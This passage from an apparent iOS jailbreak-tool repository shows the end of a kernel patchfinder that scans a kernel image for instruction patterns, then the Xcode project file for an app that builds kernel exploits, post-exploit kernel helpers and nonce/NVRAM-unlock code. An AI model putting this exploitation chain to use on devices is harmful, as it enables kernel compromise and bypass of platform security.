577 | off += xnucore_base; 578 | break; 579 | } 580 | } 581 | 582 | uint64_t start = bof64(kernel, xnucore_base, off); 583 | if (!start) { 584 | return 0; 585 | } 586 | 587 | return start + kerndumpbase; 588 | } 589 | 590 | addr_t find_bcopy(void) { 591 | // Jumps straight into memmove after switching x0 and x1 around 592 | // Guess we just find the switch and that's it 593 | addr_t off; 594 | uint32_t *k; 595 | k = (uint32_t *)(kernel + xnucore_base); 596 | for (off = 0; off < xnucore_size - 4; off += 4, k++) { 597 | if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) { 598 | return off + xnucore_base + kerndumpbase; 599 | } 600 | } 601 | k = (uint32_t *)(kernel + prelink_base); 602 | for (off = 0; off < prelink_size - 4; off += 4, k++) { 603 | if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) { 604 | return off + prelink_base + kerndumpbase; 605 | } 606 | } 607 | return 0; 608 | } 609 | 610 | -------------------------------------------------------------------------------- /noncereboot1131UI.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 50; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | 2143C9F220E7BD6A00AFB745 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 2143C9F120E7BD6A00AFB745 /* Assets.xcassets */; }; 11 | 2143C9F820E7BD6A00AFB745 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 2143C9F720E7BD6A00AFB745 /* main.m */; }; 12 | 2143CA0820E7BDA900AFB745 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 2143CA0020E7BDA800AFB745 /* LaunchScreen.storyboard */; }; 13 | 2143CA0920E7BDA900AFB745 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 2143CA0220E7BDA800AFB745 /* Main.storyboard */; }; 14 | 2143CA0A20E7BDA900AFB745 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 2143CA0420E7BDA800AFB745 /* AppDelegate.m */; }; 15 | 2143CA0B20E7BDA900AFB745 /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 2143CA0620E7BDA900AFB745 /* ViewController.m */; }; 16 | 2143CA2920E7C59600AFB745 /* multi_path_sploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 2143CA1220E7C59600AFB745 /* multi_path_sploit.c */; }; 17 | 2143CA2A20E7C59600AFB745 /* README in Resources */ = {isa = PBXBuildFile; fileRef = 2143CA1620E7C59600AFB745 /* README */; }; 18 | 2143CA2B20E7C59600AFB745 /* offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 2143CA1820E7C59600AFB745 /* offsets.m */; }; 19 | 2143CA2C20E7C59600AFB745 /* vfs_sploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 2143CA1920E7C59600AFB745 /* vfs_sploit.c */; }; 20 | 2143CA2D20E7C59600AFB745 /* kmem.c in Sources */ = {isa = PBXBuildFile; fileRef = 2143CA1A20E7C59600AFB745 /* kmem.c */; }; 21 | 2143CA2E20E7C59600AFB745 /* kutils.c in Sources */ = {isa = PBXBuildFile; fileRef = 2143CA1F20E7C59600AFB745 /* kutils.c */; }; 22 | 2143CA2F20E7C59600AFB745 /* nonce.c in Sources */ = {isa = PBXBuildFile; fileRef = 2143CA2020E7C59600AFB745 /* nonce.c */; }; 23 | 2143CA3020E7C59600AFB745 /* offsetof.c in Sources */ = {isa = PBXBuildFile; fileRef = 2143CA2220E7C59600AFB745 /* offsetof.c */; }; 24 | 2143CA3120E7C59600AFB745 /* exploit_additions.c in Sources */ = {isa = PBXBuildFile; fileRef = 2143CA2320E7C59600AFB745 /* exploit_additions.c */; }; 25 | 2143CA3220E7C59600AFB745 /* kexecute.c in Sources */ = {isa = PBXBuildFile; fileRef = 2143CA2720E7C59600AFB745 /* kexecute.c */; }; 26 | 2143CA3320E7C59600AFB745 /* patchfinder64.c in Sources */ = {isa = PBXBuildFile; fileRef = 2143CA2820E7C59600AFB745 /* patchfinder64.c */; }; 27 | 2143CA3620E7C5FA00AFB745 /* noncereboot.c in Sources */ = {isa = PBXBuildFile; fileRef = 2143CA3520E7C5FA00AFB745 /* noncereboot.c */; }; 28 | 2143CA3920E7C80D00AFB745 /* unlocknvram.c in Sources */ = {isa = PBXBuildFile; fileRef = 2143CA3720E7C80D00AFB745 /* unlocknvram.c */; }; 29 | /* End PBXBuildFile section */ 30 | 31 | /* Begin PBXFileReference section */ 32 | 2143C9E520E7BD6900AFB745 /* noncereboot1131UI.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = noncereboot1131UI.app; sourceTree = BUILT_PRODUCTS_DIR; }; 33 | 2143C9F120E7BD6A00AFB745 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; 34 | 2143C9F620E7BD6A00AFB745 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 35 | 2143C9F720E7BD6A00AFB745 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; 36 | 2143C9FF20E7BDA800AFB745 /* AppDelegate.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; }; 37 | 2143CA0120E7BDA800AFB745 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; 38 | 2143CA0320E7BDA800AFB745 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; }; 39 | 2143CA0420E7BDA800AFB745 /* AppDelegate.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = ""; }; 40 | 2143CA0620E7BDA900AFB745 /* ViewController.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = ""; }; 41 | 2143CA0720E7BDA900AFB745 /* ViewController.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = ""; }; 42 | 2143CA1020E7C59600AFB745 /* IOKit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOKit.h; sourceTree = ""; }; 43 | 2143CA1220E7C59600AFB745 /* multi_path_sploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = multi_path_sploit.c; sourceTree = ""; }; 44 | 2143CA1320E7C59600AFB745 /* offsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = offsets.h; sourceTree = ""; }; 45 | 2143CA1420E7C59600AFB745 /* vfs_sploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vfs_sploit.h; sourceTree = ""; }; 46 | 2143CA1520E7C59600AFB745 /* kmem.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kmem.h; sourceTree = ""; }; 47 | 2143CA1620E7C59600AFB745 /* README */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text; path = README; sourceTree = ""; }; 48 | 2143CA1720E7C59600AFB745 /* multi_path_sploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = multi_path_sploit.h; sourceTree = ""; }; 49 | 2143CA1820E7C59600AFB745 /* offsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = offsets.m; sourceTree = ""; }; 50 | 2143CA1920E7C59600AFB745 /* vfs_sploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vfs_sploit.c; sourceTree = ""; }; 51 | 2143CA1A20E7C59600AFB745 /* kmem.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kmem.c; sourceTree = ""; }; 52 | 2143CA1C20E7C59600AFB745 /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = patchfinder64.h; sourceTree = ""; }; 53 | 2143CA1E20E7C59600AFB745 /* exploit_additions.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = exploit_additions.h; sourceTree = ""; }; 54 | 2143CA1F20E7C59600AFB745 /* kutils.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kutils.c; sourceTree = ""; }; 55 | 2143CA2020E7C59600AFB745 /* nonce.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = nonce.c; sourceTree = ""; }; 56 | 2143CA2120E7C59600AFB745 /* kexecute.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kexecute.h; sourceTree = ""; }; 57 | 2143CA2220E7C59600AFB745 /* offsetof.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = offsetof.c; sourceTree = ""; }; 58 | 2143CA2320E7C59600AFB745 /* exploit_additions.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = exploit_additions.c; sourceTree = ""; }; 59 | 2143CA2420E7C59600AFB745 /* kutils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kutils.h; sourceTree = ""; }; 60 | 2143CA2520E7C59600AFB745 /* nonce.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = nonce.h; sourceTree = ""; }; 61 | 2143CA2620E7C59600AFB745 /* offsetof.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = offsetof.h; sourceTree = ""; }; 62 | 2143CA2720E7C59600AFB745 /* kexecute.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kexecute.c; sourceTree = ""; }; 63 | 2143CA2820E7C59600AFB745 /* patchfinder64.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = patchfinder64.c; sourceTree = ""; }; 64 | 2143CA3420E7C5FA00AFB745 /* noncereboot.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = noncereboot.h; sourceTree = ""; }; 65 | 2143CA3520E7C5FA00AFB745 /* noncereboot.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = noncereboot.c; sourceTree = ""; }; 66 | 2143CA3720E7C80D00AFB745 /* unlocknvram.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = unlocknvram.c; sourceTree = ""; }; 67 | 2143CA3820E7C80D00AFB745 /* unlocknvram.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = unlocknvram.h; sourceTree = ""; }; 68 | /* End PBXFileReference section */ 69 | 70 | /* Begin PBXFrameworksBuildPhase section */ 71 | 2143C9E220E7BD6900AFB745 /* Frameworks */ = { 72 | isa = PBXFrameworksBuildPhase; 73 | buildActionMask = 2147483647; 74 | files = ( 75 | ); 76 | runOnlyForDeploymentPostprocessing = 0; 77 | }; 78 | /* End PBXFrameworksBuildPhase section */ 79 | 80 | /* Begin PBXGroup section */ 81 | 2143C9DC20E7BD6900AFB745 = { 82 | isa = PBXGroup; 83 | children = ( 84 | 2143C9E720E7BD6900AFB745 /* noncereboot1131UI */, 85 | 2143C9E620E7BD6900AFB745 /* Products */, 86 | ); 87 | sourceTree = ""; 88 | }; 89 | 2143C9E620E7BD6900AFB745 /* Products */ = { 90 | isa = PBXGroup; 91 | children = ( 92 | 2143C9E520E7BD6900AFB745 /* noncereboot1131UI.app */, 93 | ); 94 | name = Products; 95 | sourceTree = ""; 96 | }; 97 | 2143C9E720E7BD6900AFB745 /* noncereboot1131UI */ = { 98 | isa = PBXGroup; 99 | children = ( 100 | 2143CA1120E7C59600AFB745 /* exploit */, 101 | 2143CA0C20E7C59600AFB745 /* headers */, 102 | 2143CA1B20E7C59600AFB745 /* post-exploit */, 103 | 2143C9FE20E7BDA800AFB745 /* app */, 104 | 2143C9F120E7BD6A00AFB745 /* Assets.xcassets */, 105 | 2143C9F620E7BD6A00AFB745 /* Info.plist */, 106 | 2143C9F720E7BD6A00AFB745 /* main.m */, 107 | ); 108 | path = noncereboot1131UI; 109 | sourceTree = ""; 110 | }; 111 | 2143C9FE20E7BDA800AFB745 /* app */ = { 112 | isa = PBXGroup; 113 | children = ( 114 | 2143C9FF20E7BDA800AFB745 /* AppDelegate.h */, 115 | 2143CA0020E7BDA800AFB745 /* LaunchScreen.storyboard */, 116 | 2143CA0220E7BDA800AFB745 /* Main.storyboard */, 117 | 2143CA0420E7BDA800AFB745 /* AppDelegate.m */, 118 | 2143CA0520E7BDA800AFB745 /* controllers */, 119 | ); 120 | path = app; 121 | sourceTree = ""; 122 | }; 123 | 2143CA0520E7BDA800AFB745 /* controllers */ = { 124 | isa = PBXGroup; 125 | children = ( 126 | 2143CA0620E7BDA900AFB745 /* ViewController.m */, 127 | 2143CA0720E7BDA900AFB745 /* ViewController.h */, 128 | ); 129 | path = controllers; 130 | sourceTree = ""; 131 | }; 132 | 2143CA0C20E7C59600AFB745 /* headers */ = { 133 | isa = PBXGroup; 134 | children = ( 135 | 2143CA1020E7C59600AFB745 /* IOKit.h */, 136 | ); 137 | path = headers; 138 | sourceTree = ""; 139 | }; 140 | 2143CA1120E7C59600AFB745 /* exploit */ = { 141 | isa = PBXGroup; 142 | children = ( 143 | 2143CA1220E7C59600AFB745 /* multi_path_sploit.c */, 144 | 2143CA1320E7C59600AFB745 /* offsets.h */, 145 | 2143CA1420E7C59600AFB745 /* vfs_sploit.h */, 146 | 2143CA1520E7C59600AFB745 /* kmem.h */, 147 | 2143CA1620E7C59600AFB745 /* README */, 148 | 2143CA1720E7C59600AFB745 /* multi_path_sploit.h */, 149 | 2143CA1820E7C59600AFB745 /* offsets.m */, 150 | 2143CA1920E7C59600AFB745 /* vfs_sploit.c */, 151 | 2143CA1A20E7C59600AFB745 /* kmem.c */, 152 | ); 153 | path = exploit; 154 | sourceTree = ""; 155 | }; 156 | 2143CA1B20E7C59600AFB745 /* post-exploit */ = { 157 | isa = PBXGroup; 158 | children = ( 159 | 2143CA3720E7C80D00AFB745 /* unlocknvram.c */, 160 | 2143CA3820E7C80D00AFB745 /* unlocknvram.h */, 161 | 2143CA1C20E7C59600AFB745 /* patchfinder64.h */, 162 | 2143CA1D20E7C59600AFB745 /* utilities */, 163 | 2143CA2820E7C59600AFB745 /* patchfinder64.c */, 164 | 2143CA3420E7C5FA00AFB745 /* noncereboot.h */, 165 | 2143CA3520E7C5FA00AFB745 /* noncereboot.c */, 166 | ); 167 | path = "post-exploit"; 168 | sourceTree = ""; 169 | }; 170 | 2143CA1D20E7C59600AFB745 /* utilities */ = { 171 | isa = PBXGroup; 172 | children = ( 173 | 2143CA1E20E7C59600AFB745 /* exploit_additions.h */, 174 | 2143CA1F20E7C59600AFB745 /* kutils.c */, 175 | 2143CA2020E7C59600AFB745 /* nonce.c */, 176 | 2143CA2120E7C59600AFB745 /* kexecute.h */, 177 | 2143CA2220E7C59600AFB745 /* offsetof.c */, 178 | 2143CA2320E7C59600AFB745 /* exploit_additions.c */, 179 | 2143CA2420E7C59600AFB745 /* kutils.h */, 180 | 2143CA2520E7C59600AFB745 /* nonce.h */, 181 | 2143CA2620E7C59600AFB745 /* offsetof.h */, 182 | 2143CA2720E7C59600AFB745 /* kexecute.c */, 183 | ); 184 | path = utilities; 185 | sourceTree = ""; 186 | }; 187 | /* End PBXGroup section */ 188 | 189 | /* Begin PBXNativeTarget section */ 190 | 2143C9E420E7BD6900AFB745 /* noncereboot1131UI */ = { 191 | isa = PBXNativeTarget; 192 | buildConfigurationList = 2143C9FB20E7BD6A00AFB745 /* Build configuration list for PBXNativeTarget "noncereboot1131UI" */; 193 | buildPhases = ( 194 | 2143C9E120E7BD6900AFB745 /* Sources */, 195 | 2143C9E220E7BD6900AFB745 /* Frameworks */, 196 | 2143C9E320E7BD6900AFB745 /* Resources */, 197 | ); 198 | buildRules = ( 199 | ); 200 | dependencies = ( 201 | ); 202 | name = noncereboot1131UI; 203 | productName = noncereboot1131UI; 204 | productReference = 2143C9E520E7BD6900AFB745 /* noncereboot1131UI.app */; 205 | productType = "com.apple.product-type.application"; 206 | }; 207 | /* End PBXNativeTarget section */ 208 | 209 | /* Begin PBXProject section */ 210 | 2143C9DD20E7BD6900AFB745 /* Project object */ = { 211 | isa = PBXProject; 212 | attributes = { 213 | LastUpgradeCheck = 0940; 214 | ORGANIZATIONNAME = Pwn20wnd; 215 | TargetAttributes = { 216 | 2143C9E420E7BD6900AFB745 = { 217 | CreatedOnToolsVersion = 9.4; 218 | }; 219 | }; 220 | }; 221 | buildConfigurationList = 2143C9E020E7BD6900AFB745 /* Build configuration list for PBXProject "noncereboot1131UI" */; 222 | compatibilityVersion = "Xcode 9.3"; 223 | developmentRegion = en; 224 | hasScannedForEncodings = 0; 225 | knownRegions = ( 226 | en, 227 | Base, 228 | ); 229 | mainGroup = 2143C9DC20E7BD6900AFB745; 230 | productRefGroup = 2143C9E620E7BD6900AFB745 /* Products */; 231 | projectDirPath = ""; 232 | projectRoot = ""; 233 | targets = ( 234 | 2143C9E420E7BD6900AFB745 /* noncereboot1131UI */, 235 | ); 236 | }; 237 | /* End PBXProject section */ 238 | 239 | /* Begin PBXResourcesBuildPhase section */ 240 | 2143C9E320E7BD6900AFB745 /* Resources */ = { 241 | isa = PBXResourcesBuildPhase; 242 | buildActionMask = 2147483647; 243 | files = ( 244 | 2143CA2A20E7C59600AFB745 /* README in Resources */, 245 | 2143CA0920E7BDA900AFB745 /* Main.storyboard in Resources */, 246 | 2143C9F220E7BD6A00AFB745 /* Assets.xcassets in Resources */, 247 | 2143CA0820E7BDA900AFB745 /* LaunchScreen.storyboard in Resources */, 248 | ); 249 | runOnlyForDeploymentPostprocessing = 0; 250 | }; 251 | /* End PBXResourcesBuildPhase section */ 252 | 253 | /* Begin PBXSourcesBuildPhase section */ 254 | 2143C9E120E7BD6900AFB745 /* Sources */ = { 255 | isa = PBXSourcesBuildPhase; 256 | buildActionMask = 2147483647; 257 | files = ( 258 | 2143CA3620E7C5FA00AFB745 /* noncereboot.c in Sources */, 259 | 2143CA2D20E7C59600AFB745 /* kmem.c in Sources */, 260 | 2143CA3220E7C59600AFB745 /* kexecute.c in Sources */, 261 | 2143CA2B20E7C59600AFB745 /* offsets.m in Sources */, 262 | 2143CA0B20E7BDA900AFB745 /* ViewController.m in Sources */, 263 | 2143CA3120E7C59600AFB745 /* exploit_additions.c in Sources */, 264 | 2143CA2C20E7C59600AFB745 /* vfs_sploit.c in Sources */, 265 | 2143CA2920E7C59600AFB745 /* multi_path_sploit.c in Sources */, 266 | 2143CA2E20E7C59600AFB745 /* kutils.c in Sources */, 267 | 2143CA2F20E7C59600AFB745 /* nonce.c in Sources */, 268 | 2143CA3320E7C59600AFB745 /* patchfinder64.c in Sources */, 269 | 2143CA3920E7C80D00AFB745 /* unlocknvram.c in Sources */, 270 | 2143CA0A20E7BDA900AFB745 /* AppDelegate.m in Sources */, 271 | 2143C9F820E7BD6A00AFB745 /* main.m in Sources */, 272 | 2143CA3020E7C59600AFB745 /* offsetof.c in Sources */, 273 | ); 274 | runOnlyForDeploymentPostprocessing = 0; 275 | }; 276 | /* End PBXSourcesBuildPhase section */ 277 | 278 | /* Begin PBXVariantGroup section */ 279 | 2143CA0020E7BDA800AFB745 /* LaunchScreen.storyboard */ = { 280 | isa = PBXVariantGroup; 281 | children = ( 282 | 2143CA0120E7BDA800AFB745 /* Base */, 283 | ); 284 | name = LaunchScreen.storyboard; 285 | sourceTree = ""; 286 | }; 287 | 2143CA0220E7BDA800AFB745 /* Main.storyboard */ = { 288 | isa = PBXVariantGroup; 289 | children = ( 290 | 2143CA0320E7BDA800AFB745 /* Base */, 291 | ); 292 | name = Main.storyboard; 293 | sourceTree = ""; 294 | }; 295 | /* End PBXVariantGroup section */ 296 | 297 | /* Begin XCBuildConfiguration section */ 298 | 2143C9F920E7BD6A00AFB745 /* Debug */ = { 299 | isa = XCBuildConfiguration; 300 | buildSettings = { 301 | ALWAYS_SEARCH_USER_PATHS = NO; 302 | CLANG_ANALYZER_NONNULL = YES; 303 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 304 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 305 | CLANG_CXX_LIBRARY = "libc++"; 306 | CLANG_ENABLE_MODULES = YES; 307 | CLANG_ENABLE_OBJC_ARC = YES; 308 | CLANG_ENABLE_OBJC_WEAK = YES; 309 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 310 | CLANG_WARN_BOOL_CONVERSION = YES; 311 | CLANG_WARN_COMMA = YES; 312 | CLANG_WARN_CONSTANT_CONVERSION = YES; 313 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 314 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 315 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 316 | CLANG_WARN_EMPTY_BODY = YES; 317 | CLANG_WARN_ENUM_CONVERSION = YES; 318 | CLANG_WARN_INFINITE_RECURSION = YES; 319 | CLANG_WARN_INT_CONVERSION = YES; 320 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 321 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 322 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 323 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 324 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 325 | CLANG_WARN_STRICT_PROTOTYPES = YES; 326 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 327 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 328 | CLANG_WARN_UNREACHABLE_CODE = YES; 329 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 330 | CODE_SIGN_IDENTITY = "iPhone Developer"; 331 | COPY_PHASE_STRIP = NO; 332 | DEBUG_INFORMATION_FORMAT = dwarf; 333 | ENABLE_STRICT_OBJC_MSGSEND = YES; 334 | ENABLE_TESTABILITY = YES; 335 | GCC_C_LANGUAGE_STANDARD = gnu11; 336 | GCC_DYNAMIC_NO_PIC = NO; 337 | GCC_NO_COMMON_BLOCKS = YES; 338 | GCC_OPTIMIZATION_LEVEL = 0; 339 | GCC_PREPROCESSOR_DEFINITIONS = ( 340 | "DEBUG=1", 341 | "$(inherited)", 342 | ); 343 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 344 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 345 | GCC_WARN_UNDECLARED_SELECTOR = YES; 346 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 347 | GCC_WARN_UNUSED_FUNCTION = YES; 348 | GCC_WARN_UNUSED_VARIABLE = YES; 349 | IPHONEOS_DEPLOYMENT_TARGET = 11.4; 350 | MTL_ENABLE_DEBUG_INFO = YES; 351 | ONLY_ACTIVE_ARCH = YES; 352 | SDKROOT = iphoneos; 353 | }; 354 | name = Debug; 355 | }; 356 | 2143C9FA20E7BD6A00AFB745 /* Release */ = { 357 | isa = XCBuildConfiguration; 358 | buildSettings = { 359 | ALWAYS_SEARCH_USER_PATHS = NO; 360 | CLANG_ANALYZER_NONNULL = YES; 361 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 362 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 363 | CLANG_CXX_LIBRARY = "libc++"; 364 | CLANG_ENABLE_MODULES = YES; 365 | CLANG_ENABLE_OBJC_ARC = YES; 366 | CLANG_ENABLE_OBJC_WEAK = YES; 367 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 368 | CLANG_WARN_BOOL_CONVERSION = YES; 369 | CLANG_WARN_COMMA = YES; 370 | CLANG_WARN_CONSTANT_CONVERSION = YES; 371 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 372 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 373 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 374 | CLANG_WARN_EMPTY_BODY = YES; 375 | CLANG_WARN_ENUM_CONVERSION = YES; 376 | CLANG_WARN_INFINITE_RECURSION = YES; 377 | CLANG_WARN_INT_CONVERSION = YES; 378 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 379 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 380 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 381 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 382 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 383 | CLANG_WARN_STRICT_PROTOTYPES = YES; 384 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 385 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 386 | CLANG_WARN_UNREACHABLE_CODE = YES; 387 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 388 | CODE_SIGN_IDENTITY = "iPhone Developer"; 389 | COPY_PHASE_STRIP = NO; 390 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 391 | ENABLE_NS_ASSERTIONS = NO; 392 | ENABLE_STRICT_OBJC_MSGSEND = YES; 393 | GCC_C_LANGUAGE_STANDARD = gnu11; 394 | GCC_NO_COMMON_BLOCKS = YES; 395 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 396 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 397 | GCC_WARN_UNDECLARED_SELECTOR = YES; 398 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 399 | GCC_WARN_UNUSED_FUNCTION = YES; 400 | GCC_WARN_UNUSED_VARIABLE = YES; 401 | IPHONEOS_DEPLOYMENT_TARGET = 11.4; 402 | MTL_ENABLE_DEBUG_INFO = NO; 403 | SDKROOT = iphoneos; 404 | VALIDATE_PRODUCT = YES; 405 | }; 406 | name = Release; 407 | }; 408 | 2143C9FC20E7BD6A00AFB745 /* Debug */ = { 409 | isa = XCBuildConfiguration; 410 | buildSettings = { 411 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 412 | CODE_SIGN_ENTITLEMENTS = noncereboot1131UI/noncereboot1131.entitlements; 413 | CODE_SIGN_IDENTITY = "iPhone Developer"; 414 | CODE_SIGN_STYLE = Manual; 415 | DEVELOPMENT_TEAM = ""; 416 | ENABLE_BITCODE = NO; 417 | INFOPLIST_FILE = noncereboot1131UI/Info.plist; 418 | IPHONEOS_DEPLOYMENT_TARGET = 11.0; 419 | LD_RUNPATH_SEARCH_PATHS = ( 420 | "$(inherited)", 421 | "@executable_path/Frameworks", 422 | ); 423 | OTHER_CFLAGS = ""; 424 | OTHER_LDFLAGS = ( 425 | "-framework", 426 | IOKit, 427 | ); 428 | PRODUCT_BUNDLE_IDENTIFIER = com.pwn20wnd.noncereboot1131UI; 429 | PRODUCT_NAME = "$(TARGET_NAME)"; 430 | PROVISIONING_PROFILE_SPECIFIER = ""; 431 | TARGETED_DEVICE_FAMILY = "1,2"; 432 | }; 433 | name = Debug; 434 | }; 435 | 2143C9FD20E7BD6A00AFB745 /* Release */ = { 436 | isa = XCBuildConfiguration; 437 | buildSettings = { 438 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 439 | CODE_SIGN_ENTITLEMENTS = noncereboot1131UI/noncereboot1131.entitlements; 440 | CODE_SIGN_IDENTITY = "iPhone Developer"; 441 | CODE_SIGN_STYLE = Manual; 442 | DEVELOPMENT_TEAM = ""; 443 | ENABLE_BITCODE = NO; 444 | INFOPLIST_FILE = noncereboot1131UI/Info.plist; 445 | IPHONEOS_DEPLOYMENT_TARGET = 11.0; 446 | LD_RUNPATH_SEARCH_PATHS = ( 447 | "$(inherited)", 448 | "@executable_path/Frameworks", 449 | ); 450 | OTHER_CFLAGS = ""; 451 | OTHER_LDFLAGS = ( 452 | "-framework", 453 | IOKit, 454 | ); 455 | PRODUCT_BUNDLE_IDENTIFIER = com.pwn20wnd.noncereboot1131UI; 456 | PRODUCT_NAME = "$(TARGET_NAME)"; 457 | PROVISIONING_PROFILE_SPECIFIER = ""; 458 | TARGETED_DEVICE_FAMILY = "1,2"; 459 | }; 460 | name = Release; 461 | }; 462 | /* End XCBuildConfiguration section */ 463 | 464 | /* Begin XCConfigurationList section */ 465 | 2143C9E020E7BD6900AFB745 /* Build configuration list for PBXProject "noncereboot1131UI" */ = { 466 | isa = XCConfigurationList; 467 | buildConfigurations = ( 468 | 2143C9F920E7BD6A00AFB745 /* Debug */, 469 | 2143C9FA20E7BD6A00AFB745 /* Release */, 470 | ); 471 | defaultConfigurationIsVisible = 0; 472 | defaultConfigurationName = Release; 473 | }; 474 | 2143C9FB20E7BD6A00AFB745 /* Build configuration list for PBXNativeTarget "noncereboot1131UI" */ = { 475 | isa = XCConfigurationList; 476 | buildConfigurations = ( 477 | 